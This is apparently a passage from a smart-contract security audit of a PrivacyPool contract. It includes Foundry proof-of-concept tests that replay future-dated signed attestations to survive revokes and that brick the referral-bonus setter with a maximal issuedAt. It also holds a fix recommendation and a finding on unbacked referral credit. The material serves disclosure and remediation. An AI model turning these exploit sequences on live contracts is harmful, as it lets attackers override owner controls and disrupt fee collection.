/// A revoke at time T therefore only stalls attestations with issuedAt ⩽ T: any attestation
/// pre-signed with issuedAt > T still passes :390 (T < _issuedAt), still recovers to
/// bonusSigner at :393-395, and re-installs the revoked bonus at :396-397 - the natspec
/// overclaims, and revoke is ineffective against such an attestation until its issuedAt
/// passes (every revoke inside the window can be replayed over).
///
/// Test 1 (core claim): bonus signed with issuedAt = now + 1 day, submitted (accepted),
/// revoked at T = now + 12h, then the IDENTICAL signature is replayed and re-installs the
/// revoked bonus (bps + issuedAt restored, referralShareOf elevated) - twice, proving every
/// in-window revoke is replayable-over.
/// Test 2 (adversarial control): a contemporaneously-dated attestation (issuedAt = now)
/// does NOT survive the same revoke (StaleBonus) - the hole is specific to future-dating,
/// not a generic permissive replay.
/// Test 3 (bounding controls): a non-signer key cannot forge the attestation
/// (InvalidBonusSignature) and bonus bps are hard-capped at MAX_REFERRAL_BONUS_BPS = 2500
/// (ReferralBonusTooHigh) - whatever survives revoke is bounded and signer-gated.
///
/// Cheatcode preconditions (anti-cheat): vm.sign models the stated precondition - the
/// attacker holds a pre-signed attestation because the bonusSigner key leaked before the
/// revoke, or the signer future-dates maliciously (F-SIG-1 report, RT-5). vm.warp models
/// real wall-clock time elapsing between signing and revoking.
import {Test} from "forge-std/Test.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {MessageHashUtils} from "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
import {IHasher, IVerifier, IVerifier16} from "../../contracts/interfaces.sol";
import {MockHasher} from "../../contracts/mocks.sol";
import {LocalPredicateRegistry} from "../../contracts/LocalPredicateRegistry.sol";
import {PrivacyPool} from "../../contracts/PrivacyPool.sol";

contract F007FutureDatedAttestationSurvivesRevokeTest is Test {
    /// bonusSigner key (the leak/misbehavior precondition: whoever holds it can stage
    /// future-dated attestations the owner's revoke cannot reach).
    uint256 constant BONUS_SIGNER_PK = 0xA11CE;
    /// A referrer-facing key that must NOT be able to stage anything (bounding control).
    uint256 constant ATTACKER_PK = 0xB0B;

    IVerifier constant VERIFIER = IVerifier(address(0xA1));
    IVerifier16 constant VERIFIER16 = IVerifier16(address(0xA2));
    bytes32 constant CODEHASH = bytes32(uint256(0xC0DE));
    uint32 constant LEVELS = 20;
    string constant POLICY = "x-fluton-f007";

    uint64 constant T0 = 1_700_000_000; // attestation signing time
    uint64 constant HORIZON = T0 + 30 days; // expiresAt
```

```
    uint64 constant ISSUED_AT = T0 + 1 days; // future-dated issuance
    uint16 constant FIXED_BPS = 1000;
    uint16 constant EXPIRING_BPS = 500;

    MockHasher hasher;
    LocalPredicateRegistry registry;
    PrivacyPool pool;
    address owner = makeAddr("owner");
    address upgrader = makeAddr("upgrader");
    address referrer = makeAddr("referrer");
    address attacker = makeAddr("attacker"); // anyone may submit (PP:375)

    function setUp() public {
        hasher = new MockHasher();
        registry = new LocalPredicateRegistry(address(this));
        PrivacyPool impl = new PrivacyPool();
        bytes memory data = abi.encodeCall(
            PrivacyPool.initialize,
            (VERIFIER, VERIFIER16, hasher, LEVELS, CODEHASH, 100, 100, address(registry), POLICY, owner)
        );
        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(address(impl), upgrader,
data);
        pool = PrivacyPool(address(proxy));
        vm.prank(owner);
        pool.setBonusSigner(vm.addr(BONUS_SIGNER_PK));
        vm.warp(T0);
    }

    /// CORE CLAIM: the revoke at :401-406 does NOT make a future-dated attestation stale,
    /// contradicting its own natspec (:401) - the pre-signed attestation re-installs the
    /// revoked bonus, and does so after EVERY revoke while its issuedAt is still ahead.
    function test_F_007_futureDatedAttestationSurvivesRevoke() public {
        bytes memory futureSig = _sign(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, ISSUED_AT,
BONUS_SIGNER_PK);

        // (1) The future-dated attestation installs TODAY - :390 only compares against the
        // stored issuedAt (0), so nothing rejects an issuedAt ahead of the clock.
        vm.prank(attacker);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, ISSUED_AT, futureSig);
        assertEq(pool.referralShareOf(referrer), 100 + FIXED_BPS + EXPIRING_BPS, "bonus live before
revoke");

        // (2) The owner pulls the kill switch mid-window (T < ISSUED_AT).
        vm.warp(T0 + 12 hours);
        vm.prank(owner);
        pool.revokeReferralBonus(referrer);
        (uint16 f, uint16 x, uint64 exp, uint64 iss) = pool.referralBonus(referrer);
        assertEq(f, 0, "bonus zeroed");
        assertEq(x, 0, "expiring zeroed");
        assertEq(iss, uint64(block.timestamp), "revoke wrote issuedAt = now");
        assertEq(pool.referralShareOf(referrer), 100, "share collapsed after revoke");

        // (3) REPLAY: the identical pre-signed attestation passes :390 (ISSUED_AT > T),
        // verifies against bonusSigner, and RE-INSTALLS the revoked bonus.
        vm.prank(attacker);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, ISSUED_AT, futureSig);
        (f, x, exp, iss) = pool.referralBonus(referrer);
```

```
        assertEq(f, FIXED_BPS, "revoked fixedBps re-installed from pre-signed attestation");
        assertEq(x, EXPIRING_BPS, "revoked expiringBps re-installed");
        assertEq(iss, ISSUED_AT, "stored issuedAt jumped BACK to the future date");
        assertEq(pool.referralShareOf(referrer), 100 + FIXED_BPS + EXPIRING_BPS, "revoked bonus live
again");

        // (4) Natspec overclaim quantified: a SECOND revoke is equally toothless inside the
        // window - the same attestation replay-overrides every revoke until ISSUED_AT passes.
        vm.prank(owner);
        pool.revokeReferralBonus(referrer);
        vm.prank(attacker);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, ISSUED_AT, futureSig);
        (f, , , ) = pool.referralBonus(referrer);
        assertEq(f, FIXED_BPS, "second revoke also replayed over");
    }

    /// ADVERSARIAL CONTROL: the revoke DOES neutralize a contemporaneously-dated attestation
    /// (issuedAt = signing time ⩽ revoke time) - StaleBonus on replay. The defect is
    /// precisely the missing `issuedAt ⩽ block.timestamp` bound, not a permissive harness.
    function test_F_007_contemporaneousAttestationDoesNotSurviveRevoke() public {
        bytes memory nowSig = _sign(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, T0, BONUS_SIGNER_PK);
        vm.prank(attacker);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, T0, nowSig);
        (uint16 installedF, , , ) = pool.referralBonus(referrer);
        assertEq(installedF, FIXED_BPS, "installed");

        vm.warp(T0 + 12 hours);
        vm.prank(owner);
        pool.revokeReferralBonus(referrer);

        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.StaleBonus.selector); // T0 ⩽ revoke-time issuedAt
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, T0, nowSig);
        (uint16 fixedAfterRevoke, , , ) = pool.referralBonus(referrer);
        assertEq(fixedAfterRevoke, 0, "stays revoked");
    }

    /// BOUNDING CONTROLS: staging needs the SIGNER's key (a non-signer signature is refused),
    /// and whatever survives is capped at MAX_REFERRAL_BONUS_BPS = 2500 - the blast radius of
    /// a revoke-resistant attestation (severity LOW).
    function test_F_007_survivingBonusBoundedByCapAndSignerTrust() public {
        // Non-signer key cannot stage a future-dated attestation at all.
        bytes memory forged = _sign(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, ISSUED_AT, ATTACKER_PK);
        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.InvalidBonusSignature.selector);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, ISSUED_AT, forged);

        // Even the genuine signer cannot exceed the cap: 2400 + 200 > 2500 reverts.
        bytes memory overCap = _sign(referrer, 2400, 200, HORIZON, ISSUED_AT, BONUS_SIGNER_PK);
        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.ReferralBonusTooHigh.selector);
        pool.setReferralBonus(referrer, 2400, 200, HORIZON, ISSUED_AT, overCap);

        // The real emergency brake is setBonusSigner (kills ALL old-key attestations incl.
        // future-dated ones), not revoke - recorded for the remediation note.
        vm.prank(owner);
        pool.setBonusSigner(address(0));
```

```
        bytes memory futureSig = _sign(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, ISSUED_AT,
BONUS_SIGNER_PK);
        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.BonusSignerUnset.selector);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, ISSUED_AT, futureSig);
    }

    /// Exact EIP-712 digest the contract verifies (PP:391-394): domain (name/version/
    /// chainId/verifyingContract) over the ReferralBonus struct hash, via MessageHashUtils.
    function _sign(address _referrer, uint16 _fixedBps, uint16 _expiringBps, uint64 _expiresAt, uint64
_issuedAt, uint256 _pk)
        internal view returns (bytes memory)
    {
        bytes32 domainSeparator = keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address
verifyingContract)"),
                keccak256("PrivacyPool"),
                keccak256("1"),
                block.chainid,
                address(pool)
            )
        );
        bytes32 structHash = keccak256(
            abi.encode(
                keccak256("ReferralBonus(address referrer,uint16 fixedBps,uint16 expiringBps,uint64
expiresAt,uint64 issuedAt)"),
                _referrer,
                _fixedBps,
                _expiringBps,
                _expiresAt,
                _issuedAt
            )
        );
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(_pk, MessageHashUtils.toTypedDataHash(domainSeparator, structHash));
        return abi.encodePacked(r, s, v);
    }
}
```

File: `packages/contracts/test/poc/F-008-PoC.t.sol` **Run:** `npx hardhat test solidity test/poc/F-008-PoC.t.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

/// F-008 PoC - issuedAt = type(uint64).max bricks the referrer-bonus setter.
///
/// `setReferralBonus` (PrivacyPool.sol:378-399) has exactly ONE temporal guard:
///   :390  if (_issuedAt ⩽ referralBonus[_referrer].issuedAt) revert StaleBonus();
/// `_issuedAt` is SIGNER-CHOSEN and never bounded against block.timestamp (:386-390). The
/// write at :396-397 stores it verbatim, so an attestation signed with
/// issuedAt = type(uint64).max becomes an UNBEATABLE high-water mark: the uint64 parameter
/// space is exhausted (no value > max exists - Solidity integer ranges,
/// docs.soliditylang.org/en/latest/types.html), so EVERY future setReferralBonus for that
/// referrer reverts StaleBonus - honest sigs included, including the owner's own corrections
/// (the function is signature-gated; there is no onlyOwner override path). The ONLY writer
/// that can lower the mark is revokeReferralBonus (:401-406, onlyOwner), which stamps
/// issuedAt = block.timestamp - so the brick stands until an owner revoke, and a compromised
/// signer can re-brick immediately after every revoke (the same one-line exploit). The
/// consequence is operational (LOW): the referrer's fee-share parameters (:442-447,
/// referralShareOf) are frozen at the max-dated attestation's values and the legitimate
/// attestation pipeline for that referrer is dead.
///
/// Test 1 (core claim): install issuedAt = type(uint64).max → stored and live; then a
/// legitimate now-dated attestation (signed TODAY by the real signer) reverts StaleBonus; a
/// sweep over representative uint64 issuedAt values (0, 1, now, 2^63, max-1, max) shows ALL
/// revert - the gate's parameter space is exhausted.
/// Test 2 (precision on "forever"): owner revoke RESETS the gate (fresh sig installs after),
/// so "permanent" = "until revoke"; but (a) honest sigs signed while the max-dated entry
/// stood are burned forever (their issuedAt ⩽ the revoke stamp), and (b) the signer
/// re-bricks instantly after the revoke - the DoS recurs for as long as the key is bad.
/// Test 3 (variant + bounding controls, R6/R2): the brick does NOT need the exact max - a
/// far-future (non-max) issuedAt equally freezes every realistic update; a NON-signer key
/// cannot stage the brick (InvalidBonusSignature) - the whole class requires the signer's
/// key (malice or a signer-side error), and setBonusSigner rotation is the nuclear brake.
///
/// Cheatcode preconditions (anti-cheat): vm.sign models the stated precondition - the
/// signer key issued (by malice or a client bug) an attestation with issuedAt =
/// type(uint64).max, which anyone may submit (:378 "anyone may submit it"). vm.warp models
/// real wall-clock time elapsing. No storage pokes; every state transition goes through the
/// real entrypoints.
import {Test} from "forge-std/Test.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {MessageHashUtils} from "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
import {IHasher, IVerifier, IVerifier16} from "../../contracts/interfaces.sol";
import {MockHasher} from "../../contracts/mocks.sol";
import {LocalPredicateRegistry} from "../../contracts/LocalPredicateRegistry.sol";
import {PrivacyPool} from "../../contracts/PrivacyPool.sol";

contract F008MaxIssuedAtBricksSetterTest is Test {
    /// bonusSigner key (the precondition: malice or a signer-side error produced a
    /// max-dated attestation).
    uint256 constant BONUS_SIGNER_PK = 0xA11CE;
    /// A referrer-facing key that must NOT be able to stage anything (bounding control).
    uint256 constant ATTACKER_PK = 0xB0B;

    IVerifier constant VERIFIER = IVerifier(address(0xA1));
```

```
    IVerifier16 constant VERIFIER16 = IVerifier16(address(0xA2));
    bytes32 constant CODEHASH = bytes32(uint256(0xC0DE));
    uint32 constant LEVELS = 20;
    string constant POLICY = "x-fluton-f008";

    uint64 constant T0 = 1_700_000_000; // attestation signing time
    uint64 constant HORIZON = T0 + 30 days; // expiresAt
    uint16 constant FIXED_BPS = 1000;
    uint16 constant EXPIRING_BPS = 500;

    uint64 constant MAX_UINT64 = type(uint64).max;

    MockHasher hasher;
    LocalPredicateRegistry registry;
    PrivacyPool pool;
    address owner = makeAddr("owner");
    address upgrader = makeAddr("upgrader");
    address referrer = makeAddr("referrer");
    address attacker = makeAddr("attacker"); // anyone may submit (PP:375-378)

    function setUp() public {
        hasher = new MockHasher();
        registry = new LocalPredicateRegistry(address(this));
        PrivacyPool impl = new PrivacyPool();
        bytes memory data = abi.encodeCall(
            PrivacyPool.initialize,
            (VERIFIER, VERIFIER16, hasher, LEVELS, CODEHASH, 100, 100, address(registry), POLICY, owner)
        );
        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(address(impl), upgrader,
data);
        pool = PrivacyPool(address(proxy));
        vm.prank(owner);
        pool.setBonusSigner(vm.addr(BONUS_SIGNER_PK));
        vm.warp(T0);
    }

    /// CORE CLAIM: issuedAt = type(uint64).max installs, then EVERY future attestation for
    /// the referrer - legitimate, now-dated, signed by the REAL signer - reverts StaleBonus.
    function test_F_008_maxIssuedAtBricksSetter() public {
        // (1) The max-dated attestation installs (nothing bounds _issuedAt above: :386-390).
        bytes memory maxSig = _sign(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64,
BONUS_SIGNER_PK);
        vm.prank(attacker);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64, maxSig);
        (, , , uint64 storedIssuedAt) = pool.referralBonus(referrer);
        assertEq(storedIssuedAt, MAX_UINT64, "issuedAt = type(uint64).max stored verbatim (:396-397)");
        assertEq(pool.referralShareOf(referrer), 100 + FIXED_BPS + EXPIRING_BPS, "frozen values live in
referralShareOf");

        // (2) A LEGITIMATE attestation signed today (real signer, issuedAt = now) is dead:
        // :390 compares against the max high-water mark and no uint64 exceeds it.
        bytes memory legitSig = _sign(referrer, 200, 100, T0 + 60 days, T0, BONUS_SIGNER_PK);
        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.StaleBonus.selector);
        pool.setReferralBonus(referrer, 200, 100, T0 + 60 days, T0, legitSig);

        // (3) Exhaustive closure over the uint64 space: representative values across the
```

```
        // whole range (0, 1, now, 2^63, max-1, max) - ALL revert, so the setter is bricked,
        // including identical re-submission of the max-dated attestation itself (⩽ gate).
        uint64[6] memory probes = [uint64(0), uint64(1), T0, uint64(1) << 63, MAX_UINT64 - 1,
MAX_UINT64];
        for (uint256 i = 0; i < probes.length; i++) {
            bytes memory probeSig = _sign(referrer, 300, 0, HORIZON, probes[i], BONUS_SIGNER_PK);
            vm.prank(attacker);
            vm.expectRevert(PrivacyPool.StaleBonus.selector);
            pool.setReferralBonus(referrer, 300, 0, HORIZON, probes[i], probeSig);
        }
        (uint16 stuckF, , , ) = pool.referralBonus(referrer);
        assertEq(stuckF, FIXED_BPS, "state untouched: no update possible through the setter");
    }

    /// PRECISION on "forever": revokeReferralBonus (:401-406) is the ONLY reset - it stamps
    /// issuedAt = now, after which FRESH sigs install again; but honest sigs signed while
    /// the max-dated entry stood are burned forever, and a bad signer key re-bricks
    /// instantly. So: brick = until revoke, re-installable indefinitely while compromised.
    function test_F_008_revokeResetsButSignerRebricks() public {
        bytes memory maxSig = _sign(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64,
BONUS_SIGNER_PK);
        vm.prank(attacker);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64, maxSig);

        // (a) An honest attestation signed BEFORE the revoke (issuedAt between install and
        // revoke) is burned: it reverts against the max mark now AND against the revoke
        // stamp later (issuedAt ⩽ revoke time).
        vm.warp(T0 + 1 days);
        bytes memory honestSig = _sign(referrer, 700, 0, T0 + 40 days, T0 + 1 days, BONUS_SIGNER_PK);
        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.StaleBonus.selector);
        pool.setReferralBonus(referrer, 700, 0, T0 + 40 days, T0 + 1 days, honestSig);

        // (b) Owner revoke resets the high-water mark to now.
        vm.warp(T0 + 2 days);
        vm.prank(owner);
        pool.revokeReferralBonus(referrer);
        (, , , uint64 afterRevoke) = pool.referralBonus(referrer);
        assertEq(afterRevoke, T0 + 2 days, "revoke stamped issuedAt = now");

        // (c) Post-revoke, a FRESH sig (issuedAt strictly after the revoke stamp) installs
        // - "forever" is really "until revoke".
        bytes memory freshSig = _sign(referrer, 400, 0, T0 + 40 days, T0 + 2 days + 1 seconds,
BONUS_SIGNER_PK);
        vm.prank(attacker);
        pool.setReferralBonus(referrer, 400, 0, T0 + 40 days, T0 + 2 days + 1 seconds, freshSig);
        (uint16 healedF, , , ) = pool.referralBonus(referrer);
        assertEq(healedF, 400, "fresh sig installs after revoke: gate reset");

        // (d) The (still-bad) signer re-bricks instantly: another max-dated attestation
        // installs, and the legitimate now-dated pipeline is dead again. Repeating this
        // after every revoke = perpetual update-DoS while the key is untrusted.
        bytes memory maxSig2 = _sign(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64,
BONUS_SIGNER_PK);
        vm.prank(attacker);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64, maxSig2);
        (, , , uint64 rebricked) = pool.referralBonus(referrer);
```

```
        assertEq(rebricked, MAX_UINT64, "re-bricked after revoke");
        bytes memory legitSig2 = _sign(referrer, 150, 0, T0 + 40 days, T0 + 3 days, BONUS_SIGNER_PK);
        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.StaleBonus.selector);
        pool.setReferralBonus(referrer, 150, 0, T0 + 40 days, T0 + 3 days, legitSig2);
    }

    /// VARIANT (R6) + BOUNDING CONTROLS (R2): the brick does not need the exact max value -
    /// a far-future issuedAt freezes every realistic update too; only the SIGNER's key can
    /// stage any of this (non-signer refused); setBonusSigner rotation is the nuclear brake.
    function test_F_008_variantAndBoundingControls() public {
        // VARIANT: issuedAt = T0 + 100 years (far below max) - every attestation issued in
        // the next century reverts StaleBonus: a de-facto permanent brick from ONE signed
        // message, no type(uint64).max required.
        uint64 farFuture = T0 + 100 * 365 days;
        bytes memory farSig = _sign(referrer, FIXED_BPS, EXPIRING_BPS, farFuture, farFuture,
BONUS_SIGNER_PK);
        vm.prank(attacker);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, farFuture, farFuture, farSig);
        vm.warp(T0 + 30 days);
        bytes memory legitSig = _sign(referrer, 250, 0, T0 + 60 days, T0 + 30 days, BONUS_SIGNER_PK);
        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.StaleBonus.selector);
        pool.setReferralBonus(referrer, 250, 0, T0 + 60 days, T0 + 30 days, legitSig);

        // BOUNDING: a non-signer key cannot stage the brick at all (InvalidBonusSignature)
        // - the entire class requires the signer key (malice or signer-side error).
        bytes memory forged = _sign(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64,
ATTACKER_PK);
        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.InvalidBonusSignature.selector);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64, forged);

        // NUCLEAR BRAKE for remediation: rotating the signer (not revoke) kills the whole
        // channel including any max-dated artifact.
        vm.prank(owner);
        pool.setBonusSigner(address(0));
        bytes memory maxSig = _sign(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64,
BONUS_SIGNER_PK);
        vm.prank(attacker);
        vm.expectRevert(PrivacyPool.BonusSignerUnset.selector);
        pool.setReferralBonus(referrer, FIXED_BPS, EXPIRING_BPS, HORIZON, MAX_UINT64, maxSig);
    }

    /// Exact EIP-712 digest the contract verifies (PP:391-394): domain (name/version/
    /// chainId/verifyingContract) over the ReferralBonus struct hash, via MessageHashUtils.
    function _sign(address _referrer, uint16 _fixedBps, uint16 _expiringBps, uint64 _expiresAt, uint64
_issuedAt, uint256 _pk)
        internal view returns (bytes memory)
    {
        bytes32 domainSeparator = keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address
verifyingContract)"),
                keccak256("PrivacyPool"),
                keccak256("1"),
                block.chainid,
```

```
                address(pool)
            )
        );
        bytes32 structHash = keccak256(
            abi.encode(
                keccak256("ReferralBonus(address referrer,uint16 fixedBps,uint16 expiringBps,uint64
expiresAt,uint64 issuedAt)"),
                _referrer,
                _fixedBps,
                _expiringBps,
                _expiresAt,
                _issuedAt
            )
        );
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(_pk, MessageHashUtils.toTypedDataHash(domainSeparator, structHash));
        return abi.encodePacked(r, s, v);
    }
}
```

Recommendation. Reject attestations dated in the future by requiring `_issuedAt ⩽ block.timestamp` in `setReferralBonus`. This one line removes the permanent high-water mark, because no stored mark can then exceed the block time at which it was written, and it stops a future-dated signature from being installed or replayed before its date. A revoke at time T then makes every attestation dated at or before T stale. It does not cancel a signature that was already created with a later `issuedAt`: once block time reaches that date the signature becomes valid, so the signer must also be rotated if a leak is suspected. Marks already stored before the fix need a revoke per referrer. Reword the documentation comment on `revokeReferralBonus` to say that it makes stale every attestation whose `issuedAt` is at or before the revoke time. Bytecode growth under viaIR is not predictable, so measure the final size

REMEDIATION ● FIXED

FLUTON

Confirmed, Low. Fixed.

L-04 Referral Credit Is Minted at Deposit Time Against Non-Existent Protocol Fees, Bricking Owner Fee Collection and Falsifying Solvency

SEVERITY LOW STATUS FIXED LOCATION PrivacyPool.sol

SUMMARY

In `PrivacyPool.sol`, `collectFees` cannot disburse protocol fees to the owner because `_creditReferral` mints referral claims on the deposit path where no protocol fees are collected. Deposit transactions increment `referralLiability[asset]` and `referralCredit[referrer][asset]` while `protocolFees[asset]` remains zero, violating the system invariant `referralLiability ⩽ protocolFees`. When the owner calls `collectFees`, the function calculates `available = kept > owed ? kept - owed : 0` which evaluates to zero, causing the transaction to revert with `InsufficientFees()`. Additionally, `checkBacking` omits `referralLiability` from total pool liabilities, causing the contract to attest that reserves fully back all liabilities when unbacked claims are outstanding.

FINDING DESCRIPTION

In `PrivacyPool.sol`, protocol fees are only collected when an unshielding withdrawal executes (`extAmount < 0`). However, `_creditReferral` is called during deposits (`extAmount > 0`), minting liabilities against revenue that does not yet exist.

CODEBASE LOCATIONS:

- `packages/contracts/contracts/PrivacyPool.sol` (lines 640–649)
- `packages/contracts/contracts/PrivacyPool.sol` (lines 800–808)
- `packages/contracts/contracts/PrivacyPool.sol` (lines 415–419)
- `packages/contracts/contracts/PrivacyPool.sol` (lines 427–433)
- `packages/contracts/contracts/PrivacyPool.sol` (lines 601–614)
- `packages/contracts/contracts/PrivacyPool.sol` (line 791)

In `packages/contracts/contracts/PrivacyPool.sol` (lines 640–649), mismatch between revenue accumulation and liability minting:

```
640:         _commitJoinSplit(_proof, _extData);
641:         if (extAmount > 0) {
642:             _pullAndShield(assets[_extData.asset], uint256(extAmount));
643: @>          _creditReferral(_extData.referrer, _extData.asset, uint256(extAmount)); // deposit pays
NO fee
644:         } else if (extAmount < 0) {
645:             uint256 fee = _extData.withdrawFee;
646: @>          protocolFees[_extData.asset] += fee;                                    // fees only
accrue here
647:             ObligationKind kind = _extData.format == FORMAT_PUBLIC ? ObligationKind.Burn :
ObligationKind.Withdraw;
648:             _createObligation(kind, _extData.asset, _extData.recipient, FHE.asEuint64(uint256(-
extAmount) - fee));
649:         }
```

In `packages/contracts/contracts/PrivacyPool.sol` (lines 800–808), the write site in `_creditReferral`:

```
800:     function _creditReferral(address _referrer, uint32 _asset, uint256 _amount) internal {
801:         if (_referrer == address(0)) return;
802:         uint256 share = referralShareOf(_referrer);
803: @>      uint256 reward = (_amount * withdrawFeeBps * share) / (FEE_DENOMINATOR * FEE_DENOMINATOR);
804:         if (reward == 0) return;
805: @>      referralCredit[_referrer][_asset] += reward;
806: @>      referralLiability[_asset] += reward;
807:         emit ReferralCredited(_referrer, _asset, uint64(_amount), reward, uint16(share));
808:     }
```

In `packages/contracts/contracts/PrivacyPool.sol` (lines 415–417), the downstream read in `collectFees`:

```
415:         uint256 kept = protocolFees[_asset];
416:         uint256 owed = referralLiability[_asset];
417: @>      obligationId = _payFees(_asset, _amount, kept > owed ? kept - owed : 0, _to, _format);
```

In `packages/contracts/contracts/PrivacyPool.sol` (line 791), `_payFees` enforces that available fees cover the collection amount:

```
791: @>      if (_amount > _available) revert InsufficientFees();
```

In `packages/contracts/contracts/PrivacyPool.sol` (lines 603–606), `referralLiability` is omitted from `checkBacking`:

```
603: @>      euint128 liabilities = FHE.add(
604: @>          FHE.asEuint128(noteLiability[_asset] + protocolFees[_asset]),
605: @>          FHE.add(FHE.asEuint128(depositLiability[_asset]),
FHE.asEuint128(payoutLiability[_asset]))
606: @>      );
```

1. INVARIANT BREAKAGE WALKTHROUGH

Assume `withdrawFeeBps = 100` (1%) and `referralShareBps = 10_000` (100% of collected fee).

1. **Initial State:**
2. `protocolFees[asset] = 0`
3. `referralLiability[asset] = 0`
4. `referralCredit[referrer][asset] = 0`
5. **Referred Deposit:** User deposits D = 1,000,000 units passing referrer R.
6. Deposit pays zero fee: the pool pulls and shields exactly 1,000,000 underlying tokens.
7. `_creditReferral` executes: reward = frac1,000,000 × 100 × 10,00010,000 × 10,000 = 10,000 units
8. Storage update:
9. `referralCredit[R][asset] = 10{,}000`
10. `referralLiability[asset] = 10{,}000`
11. `protocolFees[asset] = 0` (unchanged!)

12. Invariant `referralLiability ⩽ protocolFees` is violated (10,000 ≤ 0 is FALSE).
13. **Owner Collection Reverts:** Owner calls `collectFees(asset, 1, owner, FORMAT_PUBLIC)`.
14. `kept = protocolFees[asset] = 0`
15. `owed = referralLiability[asset] = 10{,}000`
16. `available = kept > owed ? kept - owed : 0 = 0`
17. `_payFees` checks `_amount ⩽ available` (1 ≤ 0 ⇒ FALSE) ⇒ reverts with `InsufficientFees()`.
18. **Subsequent Withdrawal Still Bricks Owner Collection:**
19. Another user withdraws 1,000,000 units, incurring fee ceil(1,000,000 × 100 / 10,000) = 10,000 units.
20. `protocolFees[asset]` becomes 10,000.
21. Owner attempts `collectFees`:
22. `available = 10{,}000 > 10{,}000 ? 10{,}000 - 10{,}000 : 0 = 0`.
23. Transaction still reverts with `InsufficientFees()`. The owner cannot collect a single unit of revenue.
24. **Referrer Front-Running & Stranded Credits:**
25. `claimReferral` (`packages/contracts/contracts/PrivacyPool.sol`, line 431) uses `protocolFees[_asset]` directly as the ceiling: `obligationId = _payFees(_asset, _amount, protocolFees[_asset], _to, _format);`
26. Two referrers R_1 and R_2 each hold 6,000 units of credit, while `protocolFees` holds 10,000.
27. R_1 claims 6,000 units: `protocolFees` drops to 4,000.
28. R_2 calls `claimReferral(asset, 6_000)`: 6,000 > 4,000 ⇒ reverts with `InsufficientFees()`. R_2's credit is unpayable until unrelated withdrawals occur.

2. THE CHECKBACKING SOLVENCY HOLE

In `checkBacking(asset)`: liabilities = (noteLiability + protocolFees) + depositLiability + payoutLiability Because `referralLiability` is absent, the protocol calculates: reserve ≥ 1,000,000 + 0 + 0 + 0 = 1,000,000 ⇒ returns ok = true In reality, the protocol has issued 10,000 units of legal claims against the pool reserves to referrer R. The solvency check falsely attests that 100% of liabilities are backed.

IMPACT EXPLANATION

- **Breaks Core Functionality:** `collectFees` is bricked for the asset while `referralLiability > protocolFees`; the owner cannot withdraw protocol revenue.
- **Value at Risk:** The protocol's entire fee stream for that asset, up to the referrer share. With `withdrawFeeBps = 100` and `referralShareBps = 10000`, the reserve requirement equals 100% of `protocolFees`, so the owner's net take is **0**.
- **Secondary:** `checkBacking` omits `referralLiability`, so it reports `ok = true` while credits exceeding fees are unbacked. Griefing variant: a referrer can front-run fee collection with `claimReferral` and strand a second referrer's credit (`InsufficientFees`, credit never expires).

LIKELIHOOD EXPLANATION

Permissionless and on the happy path: any depositor passing a non-zero `referrer` in `ExtData` triggers it; no attacker action, no precondition beyond `referralShareBps > 0`. Occurs on the first referred deposit, before any withdrawal.

PROOF OF CONCEPT

```
function test_referralCreditExceedsCollectedFees() public {
    uint32 assetId = 1;

    // 1) Referred deposit: 1,000,000 units, withdrawFeeBps = 100 (1%), referralShare = 10,000 (100%)
    // Minted liability: 1_000_000 * 100 * 10000 / 1e8 = 10,000 units
    pool.creditReferralTest(referrer, assetId, 1_000_000);
    assertEq(pool.referralLiability(assetId), 10_000);
    assertEq(pool.protocolFees(assetId), 0);

    // 2) Owner attempts to collect 1 unit of fees → reverts with InsufficientFees
    vm.prank(owner);
    vm.expectRevert(PrivacyPool.InsufficientFees.selector);
    pool.collectFees(assetId, 1, owner, 0);

    // 3) Withdrawal of 1,000,000 units occurs → generates exactly 10,000 units of fees
